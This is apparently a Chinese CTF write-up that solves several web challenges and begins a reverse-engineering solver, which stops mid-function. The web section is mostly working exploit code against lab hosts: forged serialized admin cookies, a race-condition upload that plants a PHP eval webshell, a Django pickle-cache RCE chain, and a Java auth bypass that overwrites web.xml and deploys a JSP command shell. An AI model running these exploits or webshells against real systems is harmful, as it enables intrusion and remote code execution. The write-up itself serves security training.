Web

题目名称 ez_php

在登陆界面发现有cookie，base64解码应该是打反序列化

img

img

然后我们构造admin发现有检测，则要绕过检测。然后访问直接进入dashboard

1
2
3
4
5
6
7
8
import base64
part1 = b'O:12:"Session\\User":2:{s:22:"\x00Session\\User\x00username";S:5:"\\61dmin";'
part2 = b's:17:"\x00Session\\User\x00vip";b:1;}' 
payload = part1 + part2
encoded_cookie = base64.b64encode(payload).decode()
print(encoded_cookie)

#TzoxMjoiU2Vzc2lvblxVc2VyIjoyOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtTOjU6Ilw2MWRtaW4iO3M6MTc6IgBTZXNzaW9uXFVzZXIAdmlwIjtiOjE7fQ==

点击1.txt发现有filename参数，尝试读取flag.php发现有限制

img

绕过php检测限制读取flag.php

1
2
3
4
5
6
http://192.168.18.22:25005/dashboard.php?filename=flag.php/
#!/bin/bash
exit 0
<?php
$flag='flag{8fee436d-176e-4b69-80ce-3b2ed0eee331}';
unset($flag);

img

题目名称 pcb5-Uplssse

注册并登录系统发现告知只能admin访问上传页面，然后查看有一个user_auth

然后我们将is_admin值改成1

1
2
O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";s:10:"isLoggedIn";b:1;s:8:"is_admin";i:1;}
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjEwOiJpc0xvZ2dlZEluIjtiOjE7czo4OiJpc19hZG1pbiI7aToxO30=

img

然后这里什么都可以上传，上传到tmp，然后是先上草再检测，很容易想到条件竞争，于是exp

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import requests
import threading
import time

BASE_URL = "http://192.168.18.26:25002"
UPLOAD_URL = f"{BASE_URL}/upload.php"

cookies = {
    "user_auth": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjEwOiJpc0xvZ2dlZEluIjtiOjE7czo4OiJpc19hZG1pbiI7aToxO30="
}

def attempt_race_condition():
    shell_filename = 'shell.php'
    shell_url = f"{BASE_URL}/{shell_filename}"
    
    payload = "<?php file_put_contents('shell.php', '<?php @eval($_REQUEST[c]);?>'); ?>"
    
    # 添加一些填充以确保文件足够大
    padding = "A" * 100000  
    payload += padding
    
    stop_event = threading.Event()
    created_shells = []

    def upload_thread():
        while not stop_event.is_set():
            try:
                files = {'file': ('test.php', payload, 'application/octet-stream')}
                data = {'upload': '上传文件'}
                requests.post(UPLOAD_URL, files=files, data=data, cookies=cookies, timeout=1)
            except:
                pass

    def trigger_thread():
        while not stop_event.is_set():
            try:
                requests.get(UPLOAD_URL, cookies=cookies, timeout=1)
                requests.get(shell_url, timeout=1)
            except:
                pass
    
    def check_thread():
        while not stop_event.is_set():
            try:
                r = requests.get(shell_url, timeout=2)
                if r.status_code == 200:
                    print(f"\n[+] Shell created successfully: {shell_url}")
                    created_shells.append(shell_url)
                    stop_event.set()
                    return
                r = requests.get(f"{BASE_URL}/tmp/shell.php", timeout=2)
                if r.status_code == 200:
                    tmp_shell = f"{BASE_URL}/tmp/shell.php"
                    print(f"\n[+] Shell created successfully: {tmp_shell}")
                    created_shells.append(tmp_shell)
                    stop_event.set()
                    return
            except:
                pass
            time.sleep(0.5)

    print("[*] Starting Race Condition Attack (High Concurrency)...")
    
    # 启动大量线程进行条件竞争
    threads = []
    for _ in range(30):  # 上传线程
        t = threading.Thread(target=upload_thread)
        t.daemon = True
        t.start()
        threads.append(t)
        
    for _ in range(20):  # 触发线程
        t = threading.Thread(target=trigger_thread)
        t.daemon = True
        t.start()
        threads.append(t)
    
    # 检查线程
    t_check = threading.Thread(target=check_thread)
    t_check.daemon = True
    t_check.start()
    threads.append(t_check)
    
    # 运行
    start_time = time.time()
    while time.time() - start_time < 30:
        if stop_event.is_set():
            break
        time.sleep(0.5)
        print(".", end="", flush=True)
    
    if not stop_event.is_set():
        print("\n[-] Race condition attack timed out.")
        stop_event.set()
        return None
    
    return created_shells[0] if created_shells else None

# 主程序
if __name__ == "__main__":
    shell_url = attempt_race_condition()
    
    if shell_url:
        # 尝试使用 shell 获取 flag
        cmd = "cat /flag; cat /flag.txt; ls -la /; env"
        print(f"\n[*] Executing command on {shell_url}: {cmd}")
        try:
            # 使用 POST 请求执行命令
            r = requests.post(shell_url, data={'c': cmd}, timeout=5)
            print("[+] Command output:")
            print(r.text)
            
            # 或者使用 system 函数
            print(f"\n[*] Trying system() command on {shell_url}: {cmd}")
            r = requests.post(shell_url, data={'c': f"system('{cmd}');"}, timeout=5)
            print("[+] System output:")
            print(r.text)
            
        except Exception as e:
            print(f"Error executing command: {e}")
    else:
        print("[-] Failed to create shell.")

题目名称 pcb5-ezDjango

漏洞分析

任意文件写入/复制

在 cacheapp/views.py 中，copy_file 视图存在严重漏洞：

1
2
3
4
5
6
7
8
9
10
@csrf_exempt
def copy_file(request):
    # ...
    src = request.POST.get('src', '')
    dst = request.POST.get('dst', '')
    # ...
    content = read_file_bytes(src)
    with open(dst, 'wb') as dest_file:
        dest_file.write(content)
    # ...

该接口允许用户将服务器上任意可读文件 (src) 复制到任意可写路径 (dst)。这为我们提供了在服务器指定位置写入文件的能力。

不安全的反序列化

在 cacheapp/views.py 中，cache_trigger 视图直接调用了 Django 的缓存获取接口：

1
2
3
4
5
@csrf_exempt
def cache_trigger(request):
    # ...
    val = cache.get(key, None)
    # ...

而在 app/settings.py 中，缓存后端被配置为 FileBasedCache：

1
2
3
4
5
6
CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': os.environ.get('CACHE_PATH', '/tmp/django_cache'),
    }
}

Django 的 FileBasedCache 在读取缓存文件时，使用 Python 的 pickle 模块进行反序列化。如果我们能够控制缓存文件的内容，就可以利用 pickle 的特性执行任意代码。

缓存文件名可预测

Django FileBasedCache 将缓存 Key 转换为文件名的逻辑是固定的。默认情况下（版本为 1，无前缀），缓存 Key 会被转换为 :1:<key>，然后计算 MD5 值作为文件名，后缀为 .djcache。 例如，Key 为 pwn_key，则文件名为 md5(":1:pwn_key").hexdigest() + ".djcache"。

路径泄露

cache_viewer 接口在读取不存在的缓存文件时，会报错并泄露完整的缓存目录路径：

return json_error(f’Cache file not found: {path}’)

我们可以利用这一点获取真实的 CACHE_PATH。

我们的攻击路径如下：

  1. 构造 Payload：生成一个恶意的 Pickle 数据，该数据在反序列化时执行系统命令。
  2. 上传 Payload：利用 /upload/ 接口将 Payload 上传到临时目录（如 /tmp/exploit.cache）。
  3. 获取缓存路径：利用 /cache/viewer/ 接口泄露服务器的真实缓存目录。
  4. 计算缓存文件名：根据我们选定的 Key（如 pwn_key），计算出 Django 对应的缓存文件名。
  5. 复制：利用 /copy/ 接口，将我们上传的 Payload 复制到缓存目录下，并重命名为合法的缓存文件名。
  6. 触发 RCE：访问 /cache/trigger/ 接口，指定 Key 为 pwn_key，触发服务器读取并反序列化我们的恶意文件。

img

img

img

exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
import requests
import pickle
import subprocess
import hashlib
import os
import sys
import base64
import zlib
import functools

# Target URL
TARGET_URL = "http://192.168.18.27:25003"  # Change this if needed

class RCE:
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        # subprocess.check_output will run the command and return the output
        # This output will be the 'val' in cache.get(), which the server returns
        return (subprocess.check_output, (self.cmd,))

def generate_payload(command):
    # Command needs to be a list for subprocess.check_output without shell=True
    # or a string with shell=True. Let's use shell=True for flexibility.
    # But wait, subprocess.check_output(cmd, shell=True)
    return pickle.dumps(RCE(command), protocol=0)

def exploit(command):
    print(f"[*] Target: {TARGET_URL}")
    print(f"[*] Command: {command}")

    # 1. Generate Payload
    # We use functools.partial to bind shell=True to subprocess.check_output
    # This allows us to pass the command as a single argument during unpickling.
    # check_output returns bytes, which the server will base64 encode.
    class Payload(object):
        def __reduce__(self):
            return (functools.partial(subprocess.check_output, shell=True), (command,))
            
    # Hypothesis: The server expects [Pickle(Expiry)] + [Zlib(Pickle(Value))]
    # This explains why:
    # 1. Sending just Zlib failed (pickle.load tried to read zlib header)
    # 2. Sending just Pickle failed (zlib.decompress tried to read pickle stream)
    
    # Protocol 0
    expiry_payload = pickle.dumps(None, protocol=0)
    
    # RCE Payload
    rce_payload = pickle.dumps(Payload(), protocol=0)
    # rce_payload = pickle.dumps("DEBUG_STRING", protocol=0)
    
    # Compress the value payload
    compressed_value = zlib.compress(rce_payload)
    
    final_payload = expiry_payload + compressed_value
    
    # 2. Upload Payload
    filename = "exploit.cache"
    files = {'file': (filename, final_payload)}
    upload_url = f"{TARGET_URL}/upload/"
    
    print(f"[*] Uploading payload to {upload_url}...")
    try:
        r = requests.post(upload_url, files=files)
        try:
            resp = r.json()
        except ValueError:
            print(f"[-] Upload failed. Status Code: {r.status_code}")
            print(f"[-] Response Text: {r.text}")
            return

        if resp.get('status') != 'success':
            print(f"[-] Upload failed: {resp}")
            return
        uploaded_path = resp.get('filepath') # e.g., /tmp/exploit.cache
        print(f"[+] Upload successful. Path: {uploaded_path}")
    except Exception as e:
        print(f"[-] Upload request failed: {e}")
        return

    # 3. Calculate Cache Key and Filename
    cache_key = "pwn_key"
    # Django FileBasedCache uses MD5 of the FULL key.
    # The full key is usually constructed as: prefix:version:key
    # Default prefix is '', default version is 1.
    # So it is likely ":1:pwn_key"
    full_key = f":1:{cache_key}"
    cache_filename = hashlib.md5(full_key.encode()).hexdigest() + ".djcache"
    print(f"[*] Calculated cache filename: {cache_filename} (from key '{full_key}')")
    
    # Discover Cache Directory via cache_viewer
    print("[*] Discovering cache directory...")
    viewer_url = f"{TARGET_URL}/cache/viewer/"
    # Use a random key that definitely doesn't exist to trigger the "not found" error which contains the path
    try:
        r = requests.post(viewer_url, data={'key': 'nonexistent_key_12345'})
        resp = r.json()
        # Expecting: Cache file not found: /path/to/cache/hash.djcache
        if resp.get('status') == 'error' and 'Cache file not found: ' in resp.get('message', ''):
            full_path = resp['message'].replace('Cache file not found: ', '')
            cache_dir = os.path.dirname(full_path)
            print(f"[+] Found cache directory: {cache_dir}")
        else:
            print(f"[-] Could not discover cache dir. Using default /tmp/django_cache. Response: {resp}")
            cache_dir = "/tmp/django_cache"
    except Exception as e:
        print(f"[-] Cache discovery failed: {e}")
        cache_dir = "/tmp/django_cache"

    dest_path = f"{cache_dir}/{cache_filename}"
    
    # 4. Copy File (Cache Poisoning)
    copy_url = f"{TARGET_URL}/copy/"
    data = {
        'src': uploaded_path,
        'dst': dest_path
    }
    print(f"[*] Copying payload from {uploaded_path} to {dest_path}...")
    try:
        r = requests.post(copy_url, data=data)
        resp = r.json()
        if resp.get('status') != 'success':
            print(f"[-] Copy failed: {resp}")
            # It might fail if directory doesn't exist, but copy_file does os.makedirs
            return
        print(f"[+] Copy successful.")
    except Exception as e:
        print(f"[-] Copy request failed: {e}")
        return

    # DEBUG: Inspect the cache file content
    print(f"[*] Inspecting cache file content via cache_viewer...")
    try:
        # We use the raw key 'pwn_key' because cache_viewer calculates the hash itself
        # Wait, cache_viewer uses cache_filename(key) which is md5(key).
        # But we manually constructed the filename using ':1:pwn_key'.
        # If we pass 'pwn_key' to cache_viewer, it will look for md5('pwn_key').
        # But we saved it to md5(':1:pwn_key').
        # So we must pass ':1:pwn_key' to cache_viewer to see our file.
        
        inspect_key = full_key # ':1:pwn_key'
        r = requests.post(viewer_url, data={'key': inspect_key})
        resp = r.json()
        if resp.get('status') == 'success':
            raw_hex = resp.get('raw_content', '')
            print(f"[+] Cache file content (hex): {raw_hex[:100]}...")
            # Verify header
            # Protocol 0 pickle of None is: 4e2e (N.)
            if raw_hex.startswith('4e2e'):
                print("[+] Header looks correct (Pickle Protocol 0 'None')")
            else:
                print("[-] Header looks WRONG!")
        else:
            print(f"[-] Failed to inspect cache file: {resp}")
    except Exception as e:
        print(f"[-] Inspection failed: {e}")

    # 5. Trigger RCE
    trigger_url = f"{TARGET_URL}/cache/trigger/"
    data = {
        'key': cache_key
    }
    print(f"[*] Triggering execution via cache key '{cache_key}'...")
    try:
        r = requests.post(trigger_url, data=data)
        resp = r.json()
        
        if resp.get('status') == 'success':
            print("[+] Exploit triggered successfully!")
            if 'value_b64' in resp:
                output = base64.b64decode(resp['value_b64']).decode('utf-8', errors='ignore')
                print("\n--- Command Output ---\n")
                print(output)
                print("\n----------------------\n")
            elif 'value' in resp:
                print(f"Value: {resp['value']}")
        else:
            print(f"[-] Trigger failed: {resp}")
            
    except Exception as e:
        print(f"[-] Trigger request failed: {e}")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        cmd = sys.argv[1]
    else:
        cmd = "whoami" # Default command
        
    exploit(cmd)

题目名称 pcb5-ez_java

img

img

访问题目环境，发现是一个文件管理系统的登录页面。通过查看前端源码或直接尝试，发现可以访问 http://192.168.18.25:25004/admin.html，该页面加载了 /dashboard/list 等接口。

通过观察 admin.js，我们发现了以下关键接口：

  • /dashboard/list: 列出文件
  • /dashboard/download: 下载文件
  • /admin/rename: 重命名文件
  • /admin/challengeResourceDir: 修改静态资源目录

把class文件都下下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import requests
import os
import time

url = "http://192.168.18.25:25004"
output_dir = "dumped_files"

if not os.path.exists(output_dir):
    os.makedirs(output_dir)

def set_resource_dir(path):
    # 利用 Auth Bypass 设置 resourceDir
    try:
        r = requests.post(f"{url}/admin/challengeResourceDir", data={"new-path": path})
        if r.status_code == 200:
            print(f"[+] ResourceDir set to: {path}")
            return True
        else:
            print(f"[-] Failed to set ResourceDir: {r.status_code}")
            return False
    except Exception as e:
        print(f"[-] Error setting ResourceDir: {e}")
        return False

def rename_file(old, new):
    try:
        r = requests.post(f"{url}/admin/rename", data={"oldPath": old, "newName": new})
        if r.status_code == 200 and '"renamed":true' in r.text:
            return True
        else:
            print(f"[-] Rename failed ({old} -> {new}): {r.text}")
            return False
    except Exception as e:
        print(f"[-] Error renaming: {e}")
        return False

def download_file(filename, save_path):
    try:
        r = requests.get(f"{url}/{filename}")
        if r.status_code == 200:
            with open(save_path, "wb") as f:
                f.write(r.content)
            print(f"[+] Downloaded: {save_path}")
            return True
        else:
            print(f"[-] Download failed: {r.status_code}")
            return False
    except Exception as e:
        print(f"[-] Error downloading: {e}")
        return False

def process_file(file_path):
    # 处理单个文件：重命名 -> 下载 -> 恢复
    filename = os.path.basename(file_path)
    # 改为 .txt 后缀以绕过下载限制
    temp_name = filename + ".txt" 
    
    print(f"\n[*] Processing {file_path}...")
    
    # 1. 重命名：WEB-INF/xxx -> ./xxx.txt
    if rename_file(file_path, temp_name):
        print(f"    Renamed to {temp_name}")
        
        # 2. 下载
        save_path = os.path.join(output_dir, filename)
        download_file(temp_name, save_path)
        
        # 3. 恢复：./xxx.txt -> WEB-INF/xxx
        if rename_file(temp_name, file_path):
             print(f"    Restored to {file_path}")
        else:
             print(f"[!] CRITICAL: Failed to restore {file_path}")
    else:
        print("    Skipping download (Rename failed)")

def main():
    # 1. 设置 ResourceDir 为 WebRoot (.)
    if not set_resource_dir("."):
        return

    # 2. 定义要下载的文件列表
    files = [
        "WEB-INF/web.xml",
        "WEB-INF/classes/com/ctf/AdminDashboardServlet.class",
        "WEB-INF/classes/com/ctf/BackUpServlet.class",
        "WEB-INF/classes/com/ctf/DashboardServlet.class",
        "WEB-INF/classes/com/ctf/DashboardServlet$1.class",
        "WEB-INF/classes/com/ctf/DashboardServlet$Stats.class",
        "WEB-INF/classes/com/ctf/JwtUtil.class",
        "WEB-INF/classes/com/ctf/LoginServlet.class",
        "WEB-INF/classes/com/ctf/RegisterServlet.class",
        "WEB-INF/classes/com/ctf/UserTransactionManager.class",
        "WEB-INF/classes/com/ctf/UserTransactionManager$TransactionListener.class",
        "WEB-INF/classes/com/ctf/UserTransactionManager$UserInfo.class"
    ]
    
    for f in files:
        process_file(f)

if __name__ == "__main__":
    main()

通过对下载的 AdminDashboardServlet.class 进行逆向分析，发现 validateAdmin 方法存在严重的逻辑漏洞：

1
2
3
4
5
6
7
8
static boolean validateAdmin(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    Cookie[] cookies = req.getCookies();
    if (cookies != null) {
        // ... validate jwt ...
    }
    // Vulnerability: If no cookies are provided, it returns true!
    return true; 
}

这意味着我们可以在不携带任何 Cookie 的情况下，直接调用 /admin/* 下的所有接口。

AdminDashboardServlet 提供了 /challengeResourceDir 接口，允许我们将 resourceDir 修改为任意路径（如 . 即 WebRoot）。结合 /admin/rename 接口，我们可以将 WEB-INF 下的受保护文件（如 web.xml、.class 文件）重命名到 WebRoot 下，并修改后缀为 .txt，从而绕过下载限制，获取源码。

服务器默认未启用 JSP 解析（或者配置了限制）。通过分析，我们可以利用上述的文件操作漏洞，上传一个恶意的 web.xml 并覆盖掉 WEB-INF/web.xml，从而开启 JSP 支持。

通过源码审计确认漏洞后，我们使用以下脚本通过覆盖 web.xml 开启 JSP 支持，并上传 Webshell 获取 Flag。

  1. 构造一个包含 JspServlet 配置的 web.xml。
  2. 利用 Auth Bypass 将 resourceDir 设置为 .。
  3. 上传恶意的 web.xml (命名为 web_pwn.xml)。
  4. 利用 /admin/rename 将其重命名为 WEB-INF/web.xml。
  5. Tomcat 检测到 web.xml 变化后会自动重载应用。
  6. 上传 JSP Webshell 并执行命令。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
import requests
import time

url = "http://192.168.18.25:25004"

def pwn_webxml():
    print("[*] Starting web.xml overwrite attack...")

    # 1. 利用 Auth Bypass (不带 Cookie) 将 ResourceDir 设置为 WebRoot (.)
    # 这样后续的文件操作 (rename) 就会基于 WebRoot 进行，而不是默认的 uploads 目录
    try:
        requests.post(f"{url}/admin/challengeResourceDir", data={"new-path": "."})
        print("[+] ResourceDir set to .")
    except:
        pass

    # 2. 准备恶意的 web.xml
    # 关键点：显式添加了 JspServlet 的配置，强制开启 JSP 解析
    web_xml_content = """<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
  <display-name>Pwned WebApp</display-name>

  <!-- 关键部分：显式启用 JSP 支持 -->
  <servlet>
      <servlet-name>jsp</servlet-name>
      <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
      <init-param>
          <param-name>fork</param-name>
          <param-value>false</param-value>
      </init-param>
      <init-param>
          <param-name>xpoweredBy</param-name>
          <param-value>false</param-value>
      </init-param>
      <load-on-startup>3</load-on-startup>
  </servlet>

  <servlet-mapping>
      <servlet-name>jsp</servlet-name>
      <url-pattern>*.jsp</url-pattern>
      <url-pattern>*.jspx</url-pattern>
  </servlet-mapping>

  <!-- 保留原有的 Servlet 配置以防报错 -->
  <servlet>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>com.ctf.LoginServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>RegisterServlet</servlet-name>
    <servlet-class>com.ctf.RegisterServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>DashboardServlet</servlet-name>
    <servlet-class>com.ctf.DashboardServlet</servlet-class>
    <multipart-config>
      <max-file-size>10485760</max-file-size>
      <max-request-size>20971520</max-request-size>
      <file-size-threshold>0</file-size-threshold>
    </multipart-config>
  </servlet>
  <servlet>
    <servlet-name>AdminDashboardServlet</servlet-name>
    <servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
    <multipart-config>
      <max-file-size>10485760</max-file-size>
      <max-request-size>20971520</max-request-size>
      <file-size-threshold>0</file-size-threshold>
    </multipart-config>
  </servlet>
  <servlet>
    <servlet-name>BackUpServlet</servlet-name>
    <servlet-class>com.ctf.BackUpServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/login</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>RegisterServlet</servlet-name>
    <url-pattern>/register</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>DashboardServlet</servlet-name>
    <url-pattern>/dashboard/*</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>AdminDashboardServlet</servlet-name>
    <url-pattern>/admin/*</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>BackUpServlet</servlet-name>
    <url-pattern>/backup/*</url-pattern>
  </servlet-mapping>

  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
  </welcome-file-list>
</web-app>"""

    # 3. 先上传为临时文件 web_pwn.xml
    print("[*] Uploading new web.xml as web_pwn.xml...")
    files = {'file': ('web_pwn.xml', web_xml_content, 'application/xml')}
    try:
        r = requests.post(f"{url}/dashboard/upload", files=files)
        print(f"    Upload status: {r.status_code}")
    except Exception as e:
        print(f"[-] Upload error: {e}")
        return

    # 4. 利用 rename 接口覆盖 WEB-INF/web.xml
    print("[*] Overwriting WEB-INF/web.xml...")
    try:
        r = requests.post(f"{url}/admin/rename", data={"oldPath": "web_pwn.xml", "newName": "WEB-INF/web.xml"})
        print(f"    Rename status: {r.status_code}")
    except Exception as e:
        print(f"[-] Rename error: {e}")
        return

    # 5. 等待 Tomcat 自动热加载 (reload)
    print("[*] Waiting 15s for Tomcat reload...")
    time.sleep(15)

    # 5.1 Re-set ResourceDir to . because reload might have reset it
    print("[*] Re-setting ResourceDir to . after reload...")
    try:
        requests.post(f"{url}/admin/challengeResourceDir", data={"new-path": "."})
    except:
        pass

    # 6. 上传 JSP Webshell
    shell_content = r'''<%@ page import="java.util.*,java.io.*"%>
<pre>
<%
    if (request.getParameter("cmd") != null) {
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        InputStream in = p.getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\A");
        out.print(s.hasNext() ? s.next() : "");
    }
%>
</pre>'''
    print("[*] Uploading shell.jsp...")
    files = {'file': ('shell1.jsp', shell_content, 'application/octet-stream')}
    requests.post(f"{url}/dashboard/upload", files=files)

    # 7. 执行命令
    print("[*] Executing 'env' command...")
    try:
        r = requests.get(f"{url}/shell1.jsp?cmd=env")
        print(f"[*] Output:\n{r.text.strip()}")
    except Exception as e:
        print(f"[-] RCE test error: {e}")

if __name__ == "__main__":
    pwn_webxml()

img

Re

题目名称 moremoreflower

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

#define MASK32 0xFFFFFFFFU
#define DELTA 0x23251156U
#define ROUNDS 30
#define MAX_STATE 1024
#define MAX_SOL 64

typedef struct {
    int bit;
    int carry;
    uint32_t x_low;
    int la4;
} State;

static inline uint32_t u32(uint64_t x) {
    return (uint32_t)(x & MASK32);
}

static inline uint32_t F(uint32_t x, uint32_t s) {
    return u32(((x << 5) ^ (x >> 4) ^ s));
}

int invert_round(uint32_t y, uint32_t s, uint32_t results[]) {
    State *states = static_cast<State *>(malloc(MAX_STATE * sizeof(State)));
    State *  next_states = static_cast<State *>(malloc(MAX_STATE * sizeof(State)));
    if (!states || !next_states) {
        if (states) free(states);
        if (next_states) free(next_states);
        return 0;
    }

    int count = 0;
    for (int la4 = 0; la4 < 16; la4++) {
        states[count].bit = 0;
        states[count].carry = 0;
        states[count].x_low = 0;
        states[count].la4 = la4;
        count++;
    }

    for (int bit = 0; bit < 32 && count > 0; bit++) {
        int yb = (y >> bit) & 1;
        int sb = (s >> bit) & 1;
        int next_count = 0;

        for (int i = 0; i < count && next_count < MAX_STATE; i++) {
            int xb = states[i].la4 & 1;
            int b_l5 = (bit >= 5) ? ((states[i].x_low >> (bit - 5)) & 1) : 0;
            int next_bits_max = (bit + 4 >= 32) ? 1 : 2;

            for (int nb = 0; nb < next_bits_max; nb++) {
                int tb = b_l5 ^ nb ^ sb;
                int total = xb + tb + states[i].carry;
                if ((total & 1) != yb) continue;

                int carry2 = (total >> 1) & 1;
                uint32_t x_low2 = states[i].x_low | ((uint32_t)xb << bit);
                int la4_2 = (states[i].la4 >> 1) | (nb << 3);

                next_states[next_count].bit = bit + 1;
                next_states[next_count].carry = carry2;
                next_states[next_count].x_low = x_low2;
                next_states[next_count].la4 = la4_2;
                next_count++;
            }
        }

        State *tmp = states;
        states = next_states;
        next_states = tmp;
        count = next_count;
    }

    int result_count = 0;
    for (int i = 0; i < count && result_count < MAX_SOL; i++) {
        if (states[i].bit == 32) {
            results[result_count++] = u32(states[i].x_low);
        }
    }

    free(states);
    free(next_states);
    return result_count;
}

int decrypt_word(uint32_t cipher, uint32_t results[]) {
    uint32_t *current = static_cast<uint32_t *>(malloc(MAX_SOL * sizeof(uint32_t)));
    uint32_t *next = static_cast<uint32_t *>(malloc(MAX_SOL * sizeof(uint32_t)));
    uint32_t *sols = static_cast<uint32_t *>(malloc(MAX_SOL * sizeof(uint32_t)));
    if (!current || !next || !sols) {
        if (current) free(current);
        if (next) free(next);
        if (sols) free(sols);
        return 0;
    }

    int cur_count = 1;
    current[0] = cipher;
    uint32_t sumv = u32((uint64_t)DELTA * ROUNDS);

    for (int round = 0; round < ROUNDS; round++) {
        int next_count = 0;
        for (int i = 0; i < cur_count; i++) {
            int sol_count = invert_round(current[i], sumv, sols);

            for (int j = 0; j < sol_count; j++) {
                int found = 0;
                for (int k = 0; k < next_count; k++) {
                    if (next[k] == sols[j]) {
                        found = 1;
                        break;
                    }
                }
                if (!found && next_count < MAX_SOL) {
                    next[next_count++] = sols[j];
                }
            }
        }

        uint32_t *tmp = current;
        current = next;
        next = tmp;
        cur_count = next_count;
        sumv = u32(sumv - DELTA);

        if (cur_count == 0) break;
    }

    int result_count = (cur_count < MAX_SOL) ? cur_count : MAX_SOL;
    memcpy(results, current, result_count * sizeof(uint32_t));

    free(current);
    free(next);
    free(sols);
    return result_count;
}

int is_printable(uint8_t b) {
    return (b >= 0x20 && b <= 0x7E);
}

int is_printable_word(uint32_t word, int endian) {
    uint8_t bytes[4];
    if (endian == 0) { // big
        bytes[0] = (word >> 24) & 0xFF;
        bytes[1] = (word >> 16) & 0xFF;
        bytes[2] = (word >> 8) & 0xFF;
        bytes[3] = word & 0xFF;
    } else { // little
        bytes[0] = word & 0xFF;
        bytes[1] = (word >> 8) & 0xFF;
        bytes[2] = (word >> 16) & 0xFF;
